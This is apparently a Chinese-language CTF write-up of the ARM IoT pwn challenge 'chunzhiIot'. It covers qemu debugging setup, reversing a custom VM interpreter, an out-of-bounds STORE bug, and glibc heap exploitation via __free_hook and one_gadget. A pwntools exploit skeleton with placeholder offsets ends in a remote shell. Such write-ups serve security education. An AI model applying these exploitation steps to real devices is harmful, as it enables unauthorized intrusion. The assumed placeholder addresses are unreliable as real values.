ARM架构IoT安全实战:从VMP逆向到glibc堆利用的完整攻防复盘 📅 发布时间:2026/8/28 5:43:48 👁 浏览次数: 1. 项目概述一次真实的IoT设备安全攻防复盘去年参加春秋杯网络安全竞赛的经历至今记忆犹新。那场比赛中一道名为“chunzhiIot”的题目将我们这些习惯了在x86_64架构下玩转栈溢出的选手一下子拉进了嵌入式设备安全这个既熟悉又陌生的领域。这道题的核心是一个运行在ARM架构上的IoT设备固件它巧妙地融合了VMP虚拟机保护技术和经典的堆利用漏洞对选手的逆向工程、漏洞利用和跨架构调试能力提出了全方位的挑战。当时我和队友花了近十个小时才最终拿下这道题过程中踩过的坑、绕过的弯以及最后成功拿到shell那一刻的兴奋都让我觉得有必要把这段经历完整地记录下来。对于刚接触Pwn漏洞利用的新手来说这道题可能显得有些“超纲”因为它涉及了ARM汇编、VMP逆向、glibc堆利用等多个进阶知识点。但对于有一定基础的CTF选手或安全研究员而言它却是一个绝佳的、贴近真实场景的学习案例。在真实的IoT安全研究中你遇到的设备大概率不是x86固件也常常被各种商业保护壳包裹这道题正是这种复杂性的一个缩影。通过拆解它你不仅能学到如何分析一个被混淆的二进制程序更能掌握一套在资源受限的嵌入式环境中进行高效调试和利用的方法论。接下来我将以第一人称视角带你完整复盘我从拿到固件到最终完成利用的全过程分享那些在官方Writeup里不会写的细节和技巧。2. 核心思路拆解从混沌到清晰的解题路径面对“chunzhiIot”这道题最忌讳的就是拿到手就开始漫无目的地逆向。我的第一步永远是先进行“战场侦察”搞清楚我们面对的是什么。题目给了一个名为chunzhiIot的二进制文件。用file命令一看输出是ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]... stripped。信息量很大32位ARM架构、静态链接、并且被strip掉了符号表。静态链接意味着我们无法依赖动态链接的glibc函数名来快速定位关键逻辑stripped则让逆向更加困难。这预示着我们需要花大量时间在逆向工程上。更关键的是运行这个二进制需要特定的环境。尝试用qemu-arm静态运行可能会直接报错或者提示缺少库。这里就引出了第一个实操心得处理ARM架构的IoT Pwn题搭建一个完整的、与目标环境匹配的调试环境是成功的一半甚至更多。你不能指望用你宿主机上的gdb-multiarch就能解决所有问题。题目通常暗示或明示了运行环境比如从文件系统或题目描述中我们可以推断它需要某个特定版本的ARM版glibc。这就是为什么“linux查看glibc 对 tmp 目录”、“ubuntu 交叉编译 arm glibc”会成为相关热词——因为在实际解题中我们经常需要自己构建或准备一个包含正确glibc版本的根文件系统rootfs以便用qemu-user进行仿真运行和调试。接下来是逆向分析的主体部分。用IDA Pro加载二进制文件由于是ARM指令集函数调用约定、栈布局和x86有很大不同。例如函数参数前四个通过R0-R3传递多余的使用栈返回值通过R0传递。在静态链接且strip的情况下识别出main函数就是第一个挑战。一个常见技巧是寻找__libc_start_main的交叉引用这个函数通常是程序的真正入口点它的第一个参数就是main函数的地址。虽然符号被剥但该函数的特征字节序列相对固定可以通过搜索字节码或模式匹配来定位。逆向一段时间后你会发现程序的核心逻辑似乎被一层“壳”包裹着。它读取你的输入然后进行一系列复杂的、非标准的字节码解释执行。这就是题目名中隐含的“VMPwn”虚拟机保护逆向与利用。程序自己实现了一套简单的虚拟机VM我们的输入被当作这套自定义指令集的“程序”来执行。因此解题的核心思路就清晰了逆向分析虚拟机结构包括寄存器定义、指令集编码格式、内存布局尤其是是否存在一个模拟的“堆”或“内存池”。寻找虚拟机实现本身的漏洞这是VMPwn题的典型考点。漏洞可能出现在指令的解释器里比如对自定义指令的操作数缺乏边界检查导致越界读/写虚拟机的内存或寄存器。将虚拟机漏洞转化为对真实进程内存的破坏由于整个虚拟机是运行在真实进程一个ARM Linux ELF中的如果我们能通过虚拟机指令越界写覆盖掉虚拟机解释器自身的某些关键数据比如一个保存在.bss段的函数指针或者一个指向真实堆内存的指针就有可能劫持真实程序的控制流。结合glibc堆利用完成利用链题目是静态链接的意味着它内部包含了一个完整的glibc。如果我们能劫持控制流那么目标就是在ARM架构下利用glibc中的gadget完成ROP面向返回编程或者更常见的利用如__free_hook、__malloc_hook或one_gadget等glibc特性来getshell。所以整体路径可以归纳为搭建ARM调试环境 - 逆向分析VMP结构与指令集 - 发现VMP解释器漏洞 - 利用漏洞实现任意地址写 - 结合静态链接glibc完成利用链构造。每一步都有其难点和技巧我们将在后续章节详细展开。3. 环境搭建与逆向工程实战3.1 构建ARM调试环境拒绝“差不多就行”很多人在这一步会图省事直接使用qemu-arm -g 1234 ./chunzhiIot配合gdb-multiarch进行调试。这在程序简单依赖少时或许可行但对于“chunzhiIot”这种静态链接且可能依赖特定内核版本或环境的程序往往会遇到各种诡异问题比如系统调用失败、内存映射错误甚至解释器ld不匹配的报错。一个稳定可靠的调试环境是后续所有分析的基础。我的做法是使用qemu-system-arm配合一个完整的ARM虚拟机镜像。这里分享一个高效的方法使用buildroot或直接下载现成的Debian ARM根文件系统。以Debian为例可以从官网下载armhf的根文件系统压缩包。解压后我们得到一个包含/bin,/lib,/usr等目录的文件夹这就是我们的rootfs。# 假设根文件系统解压在 /home/ctf/arm_rootfs # 1. 将题目二进制和所需的libc库如果需要复制进去 cp chunzhiIot /home/ctf/arm_rootfs/home/ # 如果题目动态链接可能需要复制对应的libc.so和ld-linux.so # cp ./lib/libc.so.6 /home/ctf/arm_rootfs/lib/ # cp ./lib/ld-linux-armhf.so.3 /home/ctf/arm_rootfs/lib/ # 2. 使用qemu-system-arm启动并挂载rootfs qemu-system-arm -M vexpress-a9 -kernel /path/to/zImage -dtb /path/to/vexpress-v2p-ca9.dtb -append root/dev/mmcblk0 consolettyAMA0 -drive ifsd,file/home/ctf/arm_rootfs.img,formatraw -net nic -net user,hostfwdtcp::2222-:22 -nographic注意-M指定机器类型vexpress-a9是一个通用的、支持良好的ARM开发板模拟器。你需要准备对应的内核镜像zImage和设备树文件.dtb。buildroot在构建根文件系统时通常会一并生成这些文件这是最省事的方式。-net参数设置了端口转发方便我们通过sshssh -p 2222 rootlocalhost连接到虚拟机内部进行操作和调试。在虚拟机内部我们可以像在真实ARM设备上一样运行和调试程序。安装gdb然后通过gdbserver在目标端启动调试服务在宿主机用gdb-multiarch进行远程连接。这种方式虽然步骤稍多但环境最接近真实设备系统调用、内存管理完全正常极大减少了因环境差异导致的不可预知问题。# 在qemu虚拟机内 gdbserver :1234 /home/chunzhiIot # 在宿主机 gdb-multiarch (gdb) set architecture arm (gdb) target remote localhost:12343.2 静态分析与虚拟机结构解析有了稳定的调试环境就可以开始深入的静态分析了。使用IDA Pro首先定位main函数。如前所述搜索__libc_start_main的特征码。在ARM的静态链接二进制中这个函数内部通常会有对R0即main函数地址的赋值然后跳转。找到main后开始梳理逻辑。程序大致流程如下初始化设置缓冲区可能初始化一个虚拟机的状态结构体。这个结构体通常保存在.bss段或堆上里面包含了虚拟机的“寄存器”一组uint32_t或uint64_t的数组、一个指令指针IP、一个栈指针SP以及一块模拟的内存区域。循环读取用户输入可能是通过read或fgets。解释执行将输入作为字节码在一个巨大的switch-case或跳转表结构中逐条解释执行。每条指令通常由一个操作码opcode和若干个操作数operand组成。逆向虚拟机指令集是关键。你需要像设计者一样思考。通常操作码是1字节或2字节。通过动态调试单步跟踪解释器循环观察不同的输入字节如何影响执行流和虚拟机状态寄存器、内存。记录下常见指令比如0x01:MOV REG, IMM将立即数移入寄存器。0x02:LOAD REG, [MEM]从虚拟内存加载值到寄存器。0x03:STORE [MEM], REG将寄存器值存入虚拟内存。0x04:ADD/SUB/MUL算术运算。0x05:PUSH/POP操作虚拟机栈。0x06:JMP/CALL跳转。0xFF:EXIT或特殊指令。你需要用IDA的结构体Struct功能定义一个虚拟机上下文vm_context_t的结构包含寄存器数组、内存基址指针、指令指针等字段。然后在反汇编代码中应用这个结构体这能让逆向出来的代码可读性大大提升。在分析“chunzhiIot”时我发现它的虚拟机有一个特点它的“内存”并不是一块独立分配的堆空间而是直接复用了程序.bss段的一片区域。并且虚拟机指令中的“内存地址”是相对于这个基址的偏移。这里就是第一个漏洞点在实现STORE指令时程序没有对目标地址基址偏移进行严格的边界检查。这意味着如果我们能构造一个足够大的偏移我们写入的目标地址可能会超出预定的.bss段区域覆盖到.bss段之后的其他数据比如保存着真实堆块指针的全局变量。实操心得在逆向VMP时要特别关注所有涉及“索引”、“偏移”、“大小”的运算。寻找那些可能发生整数溢出或符号扩展错误的地方。例如一个32位的偏移与一个基址相加如果偏移被当作有符号数处理而检查时却用了无符号比较就可能绕过检查。动态调试时可以故意输入超长或畸形的字节码观察解释器的反应快速定位崩溃点。4. 漏洞挖掘与利用链构造4.1 定位并验证越界写漏洞通过逆向我假设了STORE指令存在越界写。为了验证我编写了一个简单的Python脚本来生成测试字节码。def craft_store(offset, value): # 假设指令格式: opcode(1 byte) | dst_offset(4 bytes, little-endian) | value(4 bytes) opcode b\x03 # STORE 指令 offset_bytes offset.to_bytes(4, little) value_bytes value.to_bytes(4, little) return opcode offset_bytes value_bytes # 测试1: 写入虚拟机内存合法区域 payload craft_store(0x100, 0xdeadbeef) # 测试2: 尝试写入一个巨大的偏移目标是覆盖.bss段后的某个已知地址比如一个全局函数指针 # 首先需要知道虚拟机内存基址 vm_mem_base 和 target_addr # 假设 vm_mem_base 0x21000, target_addr 0x22000 (一个函数指针地址) # 那么 offset target_addr - vm_mem_base 0x1000 target_offset 0x1000 payload craft_store(target_offset, 0x41414141) # 尝试写入AAAA在调试器中运行程序发送构造的payload并在STORE指令的解释器代码处对应case 0x03:的代码块设置断点。观察计算出的目标地址是否确实超出了预定的内存范围并最终写入到了target_addr。如果程序后续在调用那个被覆盖的函数指针时比如通过call eax或blx r3发生了崩溃且崩溃地址是0x41414141那么就成功验证了任意地址写漏洞。在“chunzhiIot”中我发现的漏洞点允许我覆盖一个存储在.bss段的指针这个指针指向一个通过malloc分配的真实堆块。这意味着我获得了在真实堆上进行一次任意地址写通常是写一个我控制的值的能力。这本质上是一个堆上的任意地址写原语虽然一次只能写一个固定值但已经非常强大。4.2. 静态链接glibc利用在ARM上玩转堆风水获得了堆上的任意地址写能力后下一步就是利用这个原语来劫持控制流。由于程序是静态链接的我们拥有整个glibc的代码段。利用目标通常是覆盖__malloc_hook、__free_hook或__realloc_hook将其指向one_gadget或我们构造的ROP链。第一步是信息泄露。我们需要知道glibc的基地址才能计算出这些hook和one_gadget的实际地址。在本题中由于存在越界读的可能性如果LOAD指令也有类似漏洞或者可以通过堆布局制造一个包含libc地址的堆块然后利用漏洞去读它。但更常见的是在静态链接二进制中代码段的地址是固定的除非开了PIE但很多IoT设备不开。我们可以从IDA中直接看到__free_hook的偏移比如0x123456。然而这里有一个大坑静态链接的glibc中__free_hook的符号可能被内联或优化其地址不一定直接暴露为一个全局变量。我们需要寻找其他替代品。一个更可靠的目标是_IO_2_1_stdout_结构体或其内部的虚函数表vtable指针。覆盖这个结构体的某些字段可以结合程序后续调用printf或puts的机会实现信息泄露或控制流劫持。这需要更精细的堆布局和对IO FILE结构的深入理解。第二步是堆布局Heap Feng Shui。我们需要操纵堆的分配状态使得我们能够通过那个可被覆盖的指针精确地命中我们想要修改的目标地址如一个即将被释放的堆块的fd指针或者__free_hook本身。这通常需要利用程序功能进行多次malloc和free塑造出特定的堆布局。计算好大小使得我们想要覆盖的目标地址落入一个堆块的用户数据区。利用漏洞修改指向该堆块的指针使其指向目标地址比如__free_hook - 0x10因为我们要覆盖的是__free_hook但写入的是整个一个chunk的内容需要对齐。第三步是ARM架构下的ROP/OneGadget适配。即使我们成功将__free_hook覆盖为one_gadget地址在ARM架构下one_gadget的成功执行有严格的寄存器约束条件。你需要用ROPgadget或ropper工具在静态链接的二进制中搜索合适的gadget来设置R0、R1、R2等寄存器的值以满足one_gadget的要求例如R0为NULLR1和R2指向可写内存等。如果找不到一条能直接满足的gadget链可能需要考虑使用mprotect来将一段内存设置为可执行然后将shellcode写入该区域并跳转执行。注意事项ARM和x86的栈操作不同。x86的pop指令直接修改esp而ARM的pop是ldm指令的别名它从栈指针sp指向的内存加载数据到寄存器列表然后sp会根据寄存器数量自动增加。在构造ROP链时要特别注意栈指针的对齐通常需要8字节对齐和每条gadget对栈的影响。5. 完整利用脚本编写与调试5.1 编写利用脚本Exploit利用脚本通常使用Python的pwntools库编写。脚本需要完成以下任务建立连接如果是远程题目连接靶机本地调试则启动进程。泄露地址通过漏洞或其他方式泄露关键地址计算libc基址。堆布局通过调用程序功能进行一系列内存分配和释放塑造出有利的堆状态。触发漏洞发送精心构造的字节码触发越界写修改关键指针或数据。触发控制流转移通过再次调用相关功能如free一个被篡改的堆块触发__free_hook或执行ROP链。获取shell交互式shell或输出flag。#!/usr/bin/env python3 from pwn import * context.arch arm context.bits 32 context.endian little # context.log_level debug # 1. 启动程序或连接 # p process([qemu-arm, -g, 1234, -L, ./arm_lib, ./chunzhiIot]) p remote(target_ip, target_port) # 2. 定义虚拟机指令构造函数 def store(offset, value): return b\x03 p32(offset) p32(value) def load(offset): return b\x02 p32(offset) b\x00*4 # 假设load指令格式 def exit_vm(): return b\xFF # 3. 利用漏洞泄露信息 (假设通过LOAD越界读泄露了一个堆地址) leak_payload load(target_leak_offset) p.send(leak_payload) leak_data p.recv(4) heap_base u32(leak_data) - heap_offset log.success(fHeap base: {hex(heap_base)}) # 4. 计算目标地址 (例如我们想覆盖一个位于 .bss 的指针 ptr使其指向 __free_hook) # 首先需要知道 ptr 的地址 (通过静态分析得到静态地址或结合泄露计算) ptr_addr 0x21024 # 假设 # 计算我们需要写入的“偏移”使得 vm_mem_base offset ptr_addr vm_mem_base 0x21000 # 假设 offset_to_ptr ptr_addr - vm_mem_base # 我们要让 ptr 指向 __free_hook # 先计算 __free_hook 地址。假设我们通过其他方式泄露了libc基址 libc_base heap_base 0x12345678 # 这只是示例实际需要通过泄露计算 free_hook libc_base 0x123456 # __free_hook 偏移 # 注意我们一次写入4字节所以写入的值就是 free_hook value_to_write free_hook # 5. 堆布局分配一些块确保某个块的位置恰好能被我们覆盖的指针所指向 # 这里省略具体的堆操作函数调用假设有 add(size, data), delete(idx) 等功能 for i in range(8): add(0x80, bA*0x80) # 填充 tcache 或 fastbin # 6. 触发越界写覆盖指针 exploit_payload store(offset_to_ptr, value_to_write) p.send(exploit_payload) # 7. 现在 ptr 指向了 __free_hook。我们需要通过这个指针向 __free_hook 写入 one_gadget # 假设程序有一个功能是向 *ptr 指向的位置写入我们提供的数据 (这很关键需要逆向确认) one_gadget libc_base 0xabcdef # 调用这个功能参数是 one_gadget write_to_ptr_func(one_gadget) # 8. 触发 free执行 one_gadget delete(trigger_idx) # 触发 __free_hook # 9. 享受 shell p.interactive()5.2 动态调试与问题排查编写完脚本后几乎不可能一次成功。动态调试至关重要。使用之前搭建的qemu-system-armgdbserver环境。在关键地址设断点在漏洞触发点STORE指令处理函数、目标指针被使用的地方、free函数入口、__free_hook地址处设断点。观察内存变化在触发漏洞前后使用gdb命令x/xw 0x目标地址查看内存内容是否被修改为预期值。检查堆状态使用pwndbg或gef插件的堆命令如heap bins,heap chunks查看堆布局是否按预期塑造。寄存器约束检查当程序执行到one_gadget时单步进入观察R0,R1,R2等寄存器的值是否满足其条件。如果不满足one_gadget会直接崩溃需要调整利用链比如先通过ROP设置寄存器。常见问题与排查技巧脚本发送数据后程序无响应或崩溃检查字节码构造是否正确特别是字节序ARM通常是小端。检查payload长度是否超出了程序接收缓冲区的限制。越界写没有命中预期地址重新核对虚拟机内存基址vm_mem_base的计算是否正确。动态调试时在漏洞函数内打印出计算出的目标地址进行验证。控制流劫持后崩溃最常见的原因是栈不对齐ARM要求8字节对齐或one_gadget约束不满足。在跳转到one_gadget之前用ROP gadget调整栈指针sp和寄存器。远程打不通本地能通检查本地和远程的libc版本是否一致。即使都是ARM不同版本glibc的偏移可能不同。尽量使用题目提供的libc或者通过泄露精确计算。堆布局不稳定多线程环境或内存分配器的随机化如mmap基址随机化可能导致堆布局每次运行略有差异。尝试在脚本中加入一些“填充”操作来稳定堆状态或者使用house of等更稳定的堆利用技术。6. 总结与进阶思考回顾整个“chunzhiIot”的解题过程它完美地模拟了一次真实的IoT设备漏洞挖掘与利用。从环境搭建、逆向分析虚拟机、发现逻辑漏洞到结合堆利用完成利用链每一步都考验着综合能力。这道题的价值不仅在于最终的getshell更在于整个分析流程的磨练。对于想深入IoT安全的同学我有几点建议夯实基础ARM/X86汇编、C语言、操作系统原理、编译链接过程是基石。理解malloc/free如何工作比单纯记忆house of系列利用技术更重要。工具链熟练IDA Pro/Ghidra的逆向技巧、GDB/Pwndbg的动态调试、Pythonpwntools的脚本编写需要大量练习才能熟练。关注真实世界多研究公开的IoT设备漏洞报告CVE和利用代码了解真实漏洞的形态和利用方式这与CTF题目互相补充。构建知识体系将每次解题中学到的知识点如本次的VMP逆向、ARM ROP、静态链接利用归纳整理形成自己的知识树。例如可以专门记录下不同版本glibc在ARM下的one_gadget约束条件。最后关于环境问题再啰嗦一句。比赛中我见过太多人因为环境问题卡住。对于IoT Pwn不要吝啬在环境搭建上的时间。一个可靠的、可复现的调试环境无论是qemu-user配好根文件系统还是qemu-system全系统模拟能为你节省大量后续调试时间。你可以把搭建好的环境做成镜像保存下来以后遇到同类题目直接复用。这道“chunzhiIot”就像一把钥匙打开了一扇通往更复杂、更真实的嵌入式系统安全世界的大门。希望我的这份复盘能帮你握住这把钥匙。